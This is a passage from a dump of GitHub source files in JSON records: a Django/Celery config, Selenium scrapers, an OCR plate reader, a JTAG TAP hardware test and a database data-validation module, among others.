sa.PrimaryKeyConstraint('id')\n )\n op.create_table('book',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(), nullable=True),\n sa.Column('rating', sa.Float(), nullable=True),\n sa.Column('time_created', sa.DateTime(timezone=True), server_default=sa.text('now()'), nullable=True),\n sa.Column('time_updated', sa.DateTime(timezone=True), nullable=True),\n sa.Column('author_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['author.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_book_id'), 'book', ['id'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_book_id'), table_name='book')\n op.drop_table('book')\n op.drop_table('author')\n # ### end Alembic commands ###\n","repo_name":"jitendra-meena/FastAPI","sub_path":"app/alembic/versions/7ae7d0980f1f_new_migration.py","file_name":"7ae7d0980f1f_new_migration.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"43165425144","text":"import os\n\nfrom celery import Celery\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"core.settings\")\n\napp = Celery(\"core\")\n\napp.conf.beat_schedule = {\n \"exchange-every-20-seconds\": {\n \"task\": \"cryptos.tasks.call_exchange\",\n \"schedule\": 10.0,\n }\n}\n\napp.config_from_object(\"django.conf:settings\", namespace=\"CELERY\")\n\napp.autodiscover_tasks()\n\n\n@app.task(bind=True, ignore_result=True)\ndef debug_task(self):\n \"\"\"Debug task for celery\"\"\"\n print(f\"Request: {self.request!r}\")\n","repo_name":"fbluewhale/simple_buy_crypto","sub_path":"challenge/challenge/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21979727579","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport pandas as pd\n\n\nclass NaverMovieScr(object):\n url = 'https://movie.naver.com/movie/sdb/rank/rmovie.nhn'\n class_name = ''\n driver_path = 'C:/Program Files/Google/Chrome/chromedriver'\n csv_path = './data/naver_movie.csv'\n dc = {}\n df = None\n\n # 영화 랭킹을 url, class , driver로\n\n def scrap(self):\n driver = webdriver.Chrome(self.driver_path)\n driver.get(self.url)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n all_div = soup.find_all(name='div', attrs=({\"class\": \"tit3\"}))\n cnt = 0\n for i in all_div:\n cnt += 1\n self.dc[cnt] = [i.find('a').text]\n # print([i.find('a').text for i in all_div])\n # print(i)\n print(self.dc)\n driver.close()\n\n def create_csv(self):\n self.df = pd.DataFrame(self.dc)\n self.df.to_csv(self.csv_path, sep=',', na_rep='NaN')\n\n\nif __name__ == '__main__':\n naver = NaverMovieScr()\n naver.scrap()\n naver.create_csv()\n","repo_name":"dwg920302/python-django","sub_path":"webscrap/naver_movie_scr.py","file_name":"naver_movie_scr.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38738701961","text":"\"\"\"This module contains method for wc\"\"\"\n\nimport os\n\n\ndef wc(count = 0, args = []):\n \"\"\"Returns number of lines, words and bytes for a given stream or file\"\"\"\n\n if count == 0:\n return \"\"\n if len(args) != 1:\n print(\"wc needs 1 file\")\n else:\n if count - 1 > 1:\n print(\"wc needs name of 1 file\")\n elif count == 1 and len(args) == 1:\n line = args[0].split(\"\\n\")\n lines = len(line)\n words = 0\n for el in line:\n words += len(el.split(\" \"))\n bytes = len(args[0])\n line = str(lines) + \" \" + str(words) + \" \" + str(bytes)\n return line\n elif os.path.isfile(args[0]):\n file = open(args[0])\n lines = 0\n words = 0\n for line in file:\n lines += 1\n words += len(line.split(\" \"))\n file.close()\n return str(lines) + \" \" + str(words) + \" \" + str(os.path.getsize(args[0]))\n else:\n print(\"No such file\")\n","repo_name":"aviator737x/SD","sub_path":"CLI/Commands/wc.py","file_name":"wc.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37530165743","text":"import pandas as pd\nfrom mlxtend.preprocessing import TransactionEncoder\nfrom mlxtend.frequent_patterns import apriori, association_rules\n\n\ndf = pd.read_csv('transactions.csv')\n\n# pretraitement taena\nte = TransactionEncoder()\nte_ary = te.fit(df).transform(df)\ndf = pd.DataFrame(te_ary, columns=te.columns_)\n\n\nfrequent_itemsets = apriori(df, min_support=0.2, use_colnames=True)\nrules = association_rules(frequent_itemsets, metric=\"confidence\", min_threshold=0.5)\nprint(frequent_itemsets)\nprint(rules[['antecedents', 'consequents', 'support', 'lift']])\n","repo_name":"abdelghafourbk/MIV_Projects","sub_path":"TP FD/TP1/Apriori.py","file_name":"Apriori.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41691361804","text":"from hubconf import Model, select_device, custom\nimport numpy as np\nfrom PIL import Image\nimport torch\nimport cv2\nimport re\nfrom paddleocr import PaddleOCR, draw_ocr\nfrom datetime import datetime\n\n\ndef extract_tuples(data): \n tuples = []\n if isinstance(data, tuple):\n tuples.append(data)\n elif isinstance(data, list):\n for item in data:\n tuples.extend(extract_tuples(item))\n return tuples\n\n\ndef process_image_and_extract_text(image_path, model, ocr, output_file):\n results_plate = model(image_path)\n original_image = cv2.imread(image_path)\n \n for det in results_plate.pred[0]:\n words_to_filter = []\n x1, y1, x2, y2, conf, cls = det\n x1, y1, x2, y2 = int(x1), int(y1), int(x2), int(y2)\n cropped_region = original_image[y1:y2, x1:x2]\n extracted_text = extract_text_from_image(cropped_region, ocr)\n if extracted_text:\n words_to_filter.append(extracted_text)\n print(extracted_text)\n \n pattern = r'^(?!IPC)(?=.*[^\\d])(?=.*[a-zA-Z]).{4,7}$' \n with open(output_file, 'a', encoding='utf-8') as file:\n for word in words_to_filter:\n if re.match(pattern, word):\n file.write(word + '\\n')\n return word\n results_plate.print()\n results_plate.save()\n\n\ndef extract_text_from_image(image, ocr):\n results = ocr.ocr(image)\n all_tuples = extract_tuples(results)\n if all_tuples:\n final_result = all_tuples[0][0]\n cleaned_text = re.sub(r'[^A-Za-z0-9]', '', final_result) \n return cleaned_text\n return None\n\n\nif __name__ == \"__main__\":\n model_plate = custom(path_or_model='best.pt')\n ocr = PaddleOCR(use_angle_cls=True, lang='en')\n today_date = datetime.now().strftime('%Y%m%d')\n output_file = f\"captures/{today_date}/output.txt\"\n img_path = '../test10.jpg'\n process_image_and_extract_text(img_path, model_plate, ocr, output_file)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"EDZeng/car_plate_demo_gpu","sub_path":"plate_pred_fortest.py","file_name":"plate_pred_fortest.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38784345971","text":"import pytest\nimport silica as si\nfrom silica import coroutine, uint, Bit, BitVector, compile, Array, Bits, bits\nimport pytest\nimport shutil\nfrom tests.common import evaluate_circuit\nimport magma as m\nimport fault\nimport shutil\n\n\nclass TAPDriver:\n Regs = set([\"REGA\", \"REGB\"])\n DRAddrs = dict(REGA=2, REGB=14)\n DRBits = dict(REGA=5, REGB=7)\n IR_bits = 4\n \n def __init__(self, tester, tap_v, clock):\n self.tester = tester\n self.TCK = clock\n self.TMS = tap_v.TMS\n self.TDI = tap_v.TDI\n self.TDO = tap_v.TDO\n # self.IR = tap_v.IR\n self.update_ir = tap_v.update_ir\n self.update_dr = tap_v.update_dr\n # self.cs = tap_v.cs\n # self.ns = tap_v.ns\n self.sigs = tap_v\n\n #This would be useful to be a fault helper function\n def next(self, poke_map, exp_map={}, print_list=[]):\n assert isinstance(poke_map, dict), str(poke_map)\n assert isinstance(exp_map, dict)\n assert isinstance(print_list, list)\n #Just finshed posedge of clk\n\n #set inputs\n for sig, val in poke_map.items():\n #print(sig, val)\n self.tester.poke(sig, val)\n self.tester.eval()\n #negedge\n self.tester.poke(self.TCK, 0)\n self.tester.eval()\n\n #check/print outputs\n for sig, val in exp_map.items():\n self.tester.expect(sig, val)\n\n #self.tester.print(self.cs)\n #self.tester.print(self.IR)\n #self.tester.print(self.sigs.shift_dr)\n #self.tester.print(self.sigs.regA)\n #self.tester.print(self.TDI)\n #self.tester.print(self.IR)\n for sig in print_list:\n self.tester.print(sig)\n #self.tester.print(self.cs)\n\n self.tester.poke(self.TCK, 1)\n self.tester.eval()\n #posedge\n\n #Will stick controller in run_test_idle\n def init_tap(self):\n self.tester.poke(self.TCK, 1)\n self.tester.eval()\n for i in range(20): #This is actually how TAP controllers reset\n self.next({self.TMS: 1})\n self.next({self.TMS: 0}) #go to run_test_idle\n\n #optional expect a value\n def shift(self, value, bits, expect=None):\n if (bits < 32):\n assert (value >> bits) == 0 #Check only 'size' bits are set\n in_bv = BitVector[bits](value)\n #print(\"shift_val\", in_bv)\n if expect:\n expect_bv = BitVector[bits](expect)\n for i in range(bits): #lsb first\n tms = 1 if (i == bits - 1) else 0 #Exit on last\n tdi = in_bv[i]\n exp_map = {}\n if expect:\n exp_map = {self.TDO: expect_bv[i]}\n self.next({self.TMS: tms, self.TDI: tdi}, exp_map=exp_map)\n #self.next({self.TMS:tms,self.TDI:tdi},print_list=[self.TDO,self.TDI,self.IR,self.sigs.shift_ir])\n\n def write_IR(self, dr_addr, ir_exp=None):\n assert dr_addr in TAPDriver.Regs\n dr_addr_value = TAPDriver.DRAddrs[dr_addr]\n ir_exp_value = None\n if ir_exp:\n assert ir_exp in TAPDriver.Regs\n ir_exp_value = TAPDriver.DRAddrs[ir_exp]\n self.next({self.TMS: 1}) #select DR\n self.next({self.TMS: 1}) #select IR\n self.next({self.TMS: 0}) #capture IR\n self.next({self.TMS: 0}) #shift IR\n self.shift(\n dr_addr_value, TAPDriver.IR_bits,\n expect=ir_exp_value) #Shift in the data and exit1\n self.next({self.TMS: 1}) #update IR\n self.next({self.TMS: 0}, {self.update_ir: 1}) # idle\n\n def write_DR(self, dr_val, bits, dr_exp=None):\n self.next({self.TMS: 1}) #select DR\n self.next({self.TMS: 0}) #capture DR\n self.next({self.TMS: 0}) #shift DR\n self.shift(dr_val, bits, expect=dr_exp) #Shift in the data and exit1\n self.next({self.TMS: 1}) #update DR\n self.next({self.TMS: 0}, {self.update_dr: 1}) # idle\n\n\n\n\nTEST_LOGIC_RESET = bits(0, 4)\nRUN_TEST_IDLE = bits(1, 4)\nSELECT_DR_SCAN = bits(2, 4)\nCAPTURE_DR = bits(3, 4)\nSHIFT_DR = bits(4, 4)\nEXIT1_DR = bits(5, 4)\nPAUSE_DR = bits(6, 4)\nEXIT2_DR = bits(7, 4)\nUPDATE_DR = bits(8, 4)\nSELECT_IR_SCAN = bits(9, 4)\nCAPTURE_IR = bits(10, 4)\nSHIFT_IR = bits(11, 4)\nEXIT1_IR = bits(12, 4)\nPAUSE_IR = bits(13, 4)\nEXIT2_IR = bits(14, 4)\nUPDATE_IR = bits(15, 4)\n\n@si.coroutine\ndef SilicaTAP(TMS : Bit, TDI : Bit) -> {\"TDO\": Bit, \"update_dr\": Bit, \"update_ir\": Bit}:\n CS = bits(TEST_LOGIC_RESET,4)\n IR = bits(0, 4)\n regA = bits(0, 5)\n regB = bits(0, 7)\n TMS, TDI = yield\n while True:\n if CS == TEST_LOGIC_RESET: NS = TEST_LOGIC_RESET if TMS else RUN_TEST_IDLE\n elif CS == RUN_TEST_IDLE: NS = SELECT_DR_SCAN if TMS else RUN_TEST_IDLE\n elif CS == SELECT_DR_SCAN: NS = SELECT_IR_SCAN if TMS else CAPTURE_DR\n elif CS == CAPTURE_DR: NS = EXIT1_DR if TMS else SHIFT_DR\n elif CS == SHIFT_DR: NS = EXIT1_DR if TMS else SHIFT_DR\n elif CS == EXIT1_DR: NS = UPDATE_DR if TMS else PAUSE_DR\n elif CS == PAUSE_DR: NS = EXIT2_DR if TMS else PAUSE_DR\n elif CS == EXIT2_DR: NS = UPDATE_DR if TMS else SHIFT_DR\n elif CS == UPDATE_DR: NS = SELECT_DR_SCAN if TMS else RUN_TEST_IDLE\n elif CS == SELECT_IR_SCAN: NS = TEST_LOGIC_RESET if TMS else CAPTURE_IR\n elif CS == CAPTURE_IR: NS = EXIT1_IR if TMS else SHIFT_IR\n elif CS == SHIFT_IR: NS = EXIT1_IR if TMS else SHIFT_IR\n elif CS == EXIT1_IR: NS = UPDATE_IR if TMS else PAUSE_IR\n elif CS == PAUSE_IR: NS = EXIT2_IR if TMS else PAUSE_IR\n elif CS == EXIT2_IR: NS = UPDATE_IR if TMS else SHIFT_IR\n elif CS == UPDATE_IR: NS = SELECT_IR_SCAN if TMS else RUN_TEST_IDLE\n update_dr = (CS == UPDATE_DR)\n update_ir = (CS == UPDATE_IR)\n shift_dr = (CS == SHIFT_DR)\n shift_ir = (CS == SHIFT_IR)\n shift_regA = shift_dr & (IR == 2) # 2 is address of regA\n shift_regB = shift_dr & (IR == 14) # 14 is address of regB\n TDO = bit(0) # Can this just be 0?\n if shift_ir:\n TDO = IR[0] # emulating {TDI,IR[3:1]} \n for i in range(3):\n IR[i] = IR[i + 1]\n IR[3] = TDI\n elif shift_regA:\n TDO = regA[0] # emulating {TDI,regA[4:1]} \n for i in range(4):\n regA[i] = regA[i + 1]\n regA[4] = TDI\n elif shift_regB:\n TDO = regB[0] # emulating {TDI,regB[3:1]} \n for i in range(6):\n regB[i] = regB[i + 1]\n regB[6] = TDI\n CS = NS\n TMS, TDI = yield TDO, update_dr, update_ir\n\n@pytest.mark.parametrize(\"strategy\", [\"by_path\", \"by_statement\"])\ndef test_tap(strategy):\n tap = SilicaTAP()\n si_tap = si.compile(tap, file_name=\"tests/build/si_tap.v\",\n strategy=strategy)\n # si_tap = m.DefineFromVerilogFile(\n # \"tests/build/si_tap.v\", type_map={\"CLK\": m.In(m.Clock)})[0]\n\n tester = fault.Tester(si_tap, si_tap.CLK)\n\n tap_driver = TAPDriver(tester, si_tap, si_tap.CLK)\n tap_driver.init_tap()\n\n tap_driver.write_IR(\"REGA\")\n tap_driver.write_IR(\"REGB\", ir_exp=\"REGA\")\n tap_driver.write_IR(\"REGA\", ir_exp=\"REGB\")\n tap_driver.write_DR(25, 5)\n tap_driver.write_DR(15, 5, dr_exp=25)\n tap_driver.write_DR(2, 5, dr_exp=15)\n tap_driver.write_IR(\"REGB\", ir_exp=\"REGA\")\n tap_driver.write_DR(100, 7)\n tap_driver.write_DR(50, 7, dr_exp=100)\n\n tester.compile_and_run(target=\"verilator\", directory=\"tests/build\",\n flags=['-Wno-fatal'], magma_output=\"verilog\")\n\n shutil.copy(\"verilog/tap.v\", \"tests/build/verilog_tap.v\")\n tap_v = m.DefineFromVerilogFile(\n \"tests/build/verilog_tap.v\", type_map={\"CLK\": m.In(m.Clock), \"RESET\": m.In(m.Reset)})[0]\n\n v_tester = tester.retarget(tap_v, tap_v.CLK)\n v_tester.compile_and_run(target=\"verilator\", directory=\"tests/build\",\n flags=['-Wno-fatal'], magma_output=\"verilog\")\n\n if __name__ == '__main__':\n print(\"===== BEGIN : SILICA RESULTS =====\")\n evaluate_circuit(\"si_tap\", \"SilicaTAP\")\n print(\"===== END : SILICA RESULTS =====\")\n\n print(\"===== BEGIN : VERILOG RESULTS =====\")\n evaluate_circuit(\"verilog_tap\", \"tap\")\n print(\"===== END : VERILOG RESULTS =====\")\n\n\nif __name__ == '__main__':\n import sys\n test_tap(sys.argv[1])\n","repo_name":"leonardt/silica","sub_path":"tests/test_tap.py","file_name":"test_tap.py","file_ext":"py","file_size_in_byte":8415,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"27813261577","text":"# -*- coding: utf-8 -*-\n\n## Licensed under the Apache License, Version 2.0 (the \"License\");\n## you may not use this file except in compliance with the License.\n## You may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing, software\n## distributed under the License is distributed on an \"AS IS\" BASIS,\n## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n## See the License for the specific language governing permissions and\n## limitations under the License.\n\n\"\"\"Japanese katakana extractor\n\"\"\"\n\n__author__ = \"\"\"\nrws@uiuc.edu (Richard Sproat)\n\"\"\"\n\nimport extractor\nimport tokens\nimport chinese_extractor\nimport Utils.script\nfrom __init__ import BASE_\n\n\nclass KatakanaExtractor(chinese_extractor.EastAsianExtractor):\n \"\"\"Katataka sequence extractor\n \"\"\"\n\n def LineSegment(self, line):\n try: utext = unicode(line.strip(), 'utf-8')\n except TypeError: utext = line.strip()\n word = []\n for u in utext:\n if Utils.script.CharacterToScript(u) == 'Katakana':\n word.append(u.encode('utf-8'))\n else:\n if word and word != ['・']:\n self.tokens_.append(tokens.Token(''.join(word)))\n word = []\n\n","repo_name":"nltk/nltk_contrib","sub_path":"nltk_contrib/scripttranscriber/japanese_extractor.py","file_name":"japanese_extractor.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"52"} +{"seq_id":"8627885678","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.select import Select\n\n\nserv = Service(\"C:\\DRIVERS\\chromedriver.exe\")\ndriver = webdriver.Chrome(service=serv)\nurl = \"https://testautomationpractice.blogspot.com/\"\ndriver.get(url)\ndriver.maximize_window()\n\nspeed = driver.find_element(By.ID, \"speed\")\ndd_speed = Select(speed)\ndd_speed.select_by_visible_text(\"Fast\")\n\ntime.sleep(3)\n\ntext = driver.find_element(By.ID, \"files\")\ndd_text = Select(text)\ndd_text.select_by_visible_text(\"Other file\")\n\ntime.sleep(3)\n\nproduct = driver.find_element(By.ID, \"products\")\ndd_product = Select(product)\ndd_product.select_by_visible_text(\"Iphone\")\n\ntime.sleep(3)\n\nanimals = driver.find_element(By.ID, \"animals\")\ndd_animals = Select(animals)\ndd_animals.select_by_visible_text(\"Avatar\")\n\ntime.sleep(3)\n\ndriver.close()","repo_name":"JepoyOnlineTraining/SeleniumPython","sub_path":"day 17 - Selenium/Assignment.py","file_name":"Assignment.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35346816577","text":"import datetime as dt\nimport pandas as pd\nimport logging\n\nfrom teradatasql import TeradataConnection\nfrom typing import Tuple, Union, Optional\nfrom pyhive import hive\n\nfrom execution_framework.utils.date_utils import generate_date_range, subtract_units_time, last_day_of_month\nfrom execution_framework.utils.stats_utils import check_outliers, compute_interquartile_range\nfrom execution_framework.schema_validation import validate_data_source_schema\nfrom execution_framework.utils.common_utils import read_configuration_file\nfrom execution_framework.utils.db_utils import read_query_to_df\n\n\nlogger = logging.getLogger('DATA VALIDATION')\n\n\ndef generate_distinct_query(key_columns: list) -> str:\n \"\"\"\n Generate distinct part of validation query\n\n :param key_columns: names of key columns\n :return: distinct string part of validation query\n \"\"\"\n\n # Check number of key columns\n if len(key_columns) == 0:\n logger.error(\"There isn't key columns please enter key columns names\")\n raise ValueError('Key columns parameter is empty')\n else:\n logger.debug(f'{key_columns} are the key columns')\n\n # Create string for distinct part of query\n if len(key_columns) > 1:\n joined_key_columns = ', '.join(key_columns)\n distinct_string = f'concat({joined_key_columns})'\n else:\n distinct_string = key_columns[0]\n\n distinct_string = f', count(distinct {distinct_string}) total_distinct'\n\n return distinct_string\n\n\ndef create_cast_date_column_query(dbms: str, date_format: str, date_column: str) -> str:\n \"\"\"\n Create query that cast date column into yyyy-MM-dd format\n\n :param dbms: data warehouse name\n :param date_format: format of date column\n :param date_column: name of the column with periods\n :return: query to cast date column\n \"\"\"\n\n # Convert date format to yyyy-MM-dd\n if dbms == 'hive':\n if date_format in ['yyyy-MM-dd', 'YYYY-MM-DD']:\n casted_date_column = date_column\n else:\n casted_date_column = f\"from_unixtime(unix_timestamp({date_column}, '{date_format}'), 'yyyy-MM-dd')\"\n elif dbms == 'teradata':\n if date_format in ['yyyy-MM-dd', 'YYYY-MM-DD']:\n casted_date_column = date_column\n else:\n casted_date_column = f\"cast(cast({date_column} as varchar(20)) as date format '{date_format}')\"\n else:\n raise NotImplementedError('Data warehouses supporting by now : hive and teradata')\n\n return casted_date_column\n\n\ndef generate_validation_query(date_column: str, date_format: str, table_name: str, start_date: str, final_date: str,\n validate_duplicates: bool, key_columns: list, dbms: str) -> str:\n \"\"\"\n Generates validation query from specific data source\n\n :param date_column: name of the column with periods\n :param date_format: format of date column\n :param table_name: table name\n :param start_date: start date to filter query in format YYYY-MM-DD\n :param final_date: final date to filter query in format YYYY-MM-DD\n :param validate_duplicates: check or not duplicate values\n :param key_columns: key(s) column of the table\n :param dbms: data warehouse name\n :return: validation query\n \"\"\"\n\n # Generate distinct part of query\n distinct_part = generate_distinct_query(key_columns) if validate_duplicates else ''\n\n # Convert date format to yyyy-MM-dd\n cast_date_column_query = create_cast_date_column_query(dbms, date_format, date_column)\n\n # Create validation query\n validation_query = f\"SELECT {cast_date_column_query} period, count(*) total {distinct_part} \" \\\n f\"FROM {table_name} \" \\\n f\"WHERE {cast_date_column_query} >= DATE'{start_date}' \" \\\n f\"AND {cast_date_column_query} <= DATE'{final_date}' \" \\\n f\"GROUP BY {cast_date_column_query}\"\n\n # Logging validation query\n logger.debug('Validation query: {}'.format(validation_query))\n\n return validation_query\n\n\ndef check_complete_results(results: pd.DataFrame, frequency: str, start_date: str, final_date: str,\n day_month: str) -> bool:\n \"\"\"\n Check whether or not the results on dataframe are complete\n\n :param results: results dataframe with two or three columns (count and count distinct of rows)\n :param frequency: frequency of results dataframe\n :param start_date: start date to check results\n :param final_date: final date to check results\n :param day_month: start or end of month\n :return: True if the results are complete\n \"\"\"\n\n data_source_complete = True\n\n # Generate range of date\n date_range = generate_date_range(start_date, final_date, frequency, day_month)\n\n # Check if all periods exists\n all_periods = results['period'].tolist()\n\n # Check difference between what is in data source and what should be there\n difference = list(set(date_range) - set(all_periods))\n difference.sort()\n\n if len(difference) == 0:\n logger.info('All critical periods were found')\n logger.info(f'{len(date_range)} period(s) were found')\n\n if len(date_range) == 1:\n logger.info(f'{date_range[0]} period was found in data source')\n else:\n logger.info(f'Periods from {date_range[0]} to {date_range[-1]} were found in data source')\n\n else:\n data_source_complete = False\n logger.error(f\"{', '.join(difference)} period(s) not found in data source\")\n\n return data_source_complete\n\n\ndef check_outliers_results(results: pd.DataFrame, frequency: str, outlier_start_date: str, complete_start_date: str,\n final_date: str, day_month: str) -> bool:\n \"\"\"\n Check whether or not there are outliers in the results\n\n :param results: results dataframe with two or three columns (period, total, total_distinct)\n :param frequency: frequency of results dataframe\n :param outlier_start_date: start date to compute interquartile range\n :param complete_start_date: start date to check outliers in results\n :param final_date: final date to check outliers in results\n :param day_month: start or end of month\n :return: True if there is outliers values in results\n \"\"\"\n\n data_source_outliers = True\n\n # Generate range of dates\n outlier_date_range = generate_date_range(outlier_start_date, final_date, frequency, day_month)\n complete_date_range = generate_date_range(complete_start_date, final_date, frequency, day_month)\n logger.debug(f\"Critical dates are {' '.join(complete_date_range)}\")\n\n # Keep only periods to check outliers\n critical_dates = results[results['period'].isin(complete_date_range)].reset_index(drop=True)\n critical_dates_values = critical_dates['total'].values\n\n # Keep only periods to compute interquartile range\n periods_interquartile_range = results[results['period'].isin(outlier_date_range)].reset_index(drop=True)\n values_interquartile_range = periods_interquartile_range['total'].values\n\n logger.debug(f'Values to compute interquartile range are {values_interquartile_range}')\n\n # Create empty list to save outlier status of period\n outlier_tmp = []\n\n # Get lower and upper bound for values\n lower_bound, upper_bound = compute_interquartile_range(values_interquartile_range)\n logger.info(f'Lower bound for IQR is {lower_bound:,}')\n logger.info(f'Upper bound for IQR is {upper_bound:,}')\n\n # Search for outlier values in all periods\n for value in critical_dates_values:\n if check_outliers(lower_bound, upper_bound, value):\n outlier_tmp.append('outlier')\n else:\n outlier_tmp.append('normal')\n\n # Add column with outlier status\n critical_dates['outlier_status'] = outlier_tmp\n\n # Output results in logging\n if 'outlier' in critical_dates['outlier_status'].values:\n\n outlier_dates = critical_dates[critical_dates['outlier_status'] == 'outlier'].\\\n sort_values(by='period').to_dict(orient='records')\n\n for date in outlier_dates:\n logger.warning(f\"{date['period']} date has {date['total']:,} rows and it's an outlier according IQR\")\n\n else:\n data_source_outliers = False\n\n for date in critical_dates.to_dict(orient='records'):\n logger.debug(f\"{date['period']} date has {date['total']:,} rows and it's a normal according IQR\")\n\n logger.info('All critical periods have normal values')\n\n return data_source_outliers\n\n\ndef check_duplicate_results(results: pd.DataFrame, frequency: str, start_date: str, final_date: str,\n day_month: str) -> bool:\n \"\"\"\n Check whether or not there are duplicates in the results\n\n :param results: results dataframe with two or three columns (date_column, total, total_distinct)\n :param frequency: frequency of results dataframe\n :param start_date: start date to check duplicates in results\n :param final_date: final date to check duplicates in results\n :param day_month: start or end of month\n :return: True if there is duplicates values in results\n \"\"\"\n data_source_duplicates = True\n\n # Generate date range\n date_range = generate_date_range(start_date, final_date, frequency, day_month)\n\n # Get dates with duplicate values\n results['difference'] = results['total'] - results['total_distinct']\n critical_dates = results[results['period'].isin(date_range)].reset_index(drop=True)\n dates_duplicated = critical_dates[critical_dates['difference'] != 0][['period', 'difference']]\n dates_duplicated = dates_duplicated.sort_values(by='period')\n\n # Check duplicates values\n if dates_duplicated.empty:\n data_source_duplicates = False\n logger.info('There are not duplicated values in period(s)')\n else:\n\n for date in dates_duplicated.to_dict(orient='records'):\n logger.warning(f\"{date['period']} period has {date['difference']} duplicated values\")\n\n logger.error(f'{dates_duplicated.shape[0]} critical period(s) has duplicated values')\n\n return data_source_duplicates\n\n\ndef validate_data_source(table_name: str, date_column: str, date_format: str, frequency: str, complete_start_date: str,\n outliers_start_date: str, final_date: str, day_month: str, validate_duplicates: bool,\n key_columns: list, dbms: str, db_connection: Union[TeradataConnection, hive.Connection]) \\\n -> Tuple[bool, bool, Optional[bool]]:\n \"\"\"\n Validate if data source is up-to-date to replicate the model\n\n :param table_name: name of table to validate - string\n :param date_column: name of the column with dates - string\n :param date_format: format of date column - string\n :param frequency: data source update frequency - string\n :param complete_start_date: start date to validate if data source is complete, in format YYYY-MM-DD - string\n :param outliers_start_date: start date to validate if data source has outliers, in format YYYY-MM-DD - string\n :param final_date: final date to validate in format YYYY-MM-DD - string\n :param day_month: start or end of month - string\n :param validate_duplicates: check or not duplicate values - boolean\n :param key_columns: key(s) column of the table - list\n :param dbms: data warehouse name\n :param db_connection: database connection object\n :return: complete, outlier and duplicate status of data source\n \"\"\"\n # Logging table name and frequency\n logger.info(f\"--- TABLE NAME : '{table_name}' ---\")\n logger.info(f\"Frequency : {frequency}\")\n\n # Get oldest date between start an outlier date\n initial_date = min(dt.datetime.strptime(complete_start_date, '%Y-%m-%d'),\n dt.datetime.strptime(outliers_start_date, '%Y-%m-%d')).strftime(\"%Y-%m-%d\")\n\n # Generates validation query\n validation_query = generate_validation_query(date_column, date_format, table_name, initial_date, final_date,\n validate_duplicates, key_columns, dbms)\n\n # Execute query to proceed with validation\n logger.info(\"Start execution of validation query\")\n results = read_query_to_df(db_connection, validation_query)\n results['period'] = results['period'].astype(str)\n\n # Make validations in data source\n complete_status = check_complete_results(results, frequency, complete_start_date, final_date, day_month)\n outlier_status = check_outliers_results(results, frequency, outliers_start_date, complete_start_date, final_date,\n day_month)\n\n if validate_duplicates:\n duplicates_status = check_duplicate_results(results, frequency, complete_start_date, final_date, day_month)\n else:\n duplicates_status = None\n\n return complete_status, outlier_status, duplicates_status\n\n\ndef generate_start_final_dates(frequency: str, day_month: str, replica_date: str, periods_needed_replica: int,\n periods_check_outliers: int) -> Tuple[str, str, str]:\n \"\"\"\n Generate start date to check complete data source, start date to check outliers and final date to execute\n validation query\n\n :param frequency: data source update frequency\n :param day_month: start or end of month\n :param replica_date: replica month in format 'YYYY-MM-DD'\n :param periods_needed_replica: periods needed to execute replica\n :param periods_check_outliers: periods needed to check outliers\n :return:\n \"\"\"\n\n if frequency == 'monthly':\n\n if day_month == 'first':\n final_date = replica_date\n\n elif day_month == 'last':\n final_date = last_day_of_month(replica_date)\n\n else:\n raise NotImplementedError('Day months supporting for now : first and last')\n\n complete_start_date = subtract_units_time(final_date, 'months', periods_needed_replica)\n outliers_start_date = subtract_units_time(final_date, 'months', periods_check_outliers)\n\n elif frequency == 'daily':\n final_date = last_day_of_month(replica_date)\n complete_start_date = subtract_units_time(final_date, 'days', periods_needed_replica)\n outliers_start_date = subtract_units_time(final_date, 'days', periods_check_outliers)\n\n else:\n raise NotImplementedError('Frequencies supporting for now: monthly and daily')\n\n return complete_start_date, outliers_start_date, final_date\n\n\ndef check_all_data_sources(data_sources_conf_file: str, replica_date: str,\n teradata_connection: TeradataConnection = None,\n hive_connection: hive.Connection = None) -> pd.DataFrame:\n \"\"\"\n Check multiple data sources\n\n :param data_sources_conf_file: path of yaml file with all data source attributes\n :param replica_date: date of replica to validate data source in 'YYYY-MM-DD' format\n :param teradata_connection: teradata connection object\n :param hive_connection: hive connection object\n :return: summary of quality status of data sources\n \"\"\"\n\n # Check at least one database connection is provided\n if teradata_connection is None and hive_connection is None:\n raise ValueError('Provide at least one database connection : Teradata or Hive')\n\n # Read data source yaml file\n data_sources = read_configuration_file(data_sources_conf_file)\n\n # Validate schema of data source configuration file\n schema_status = 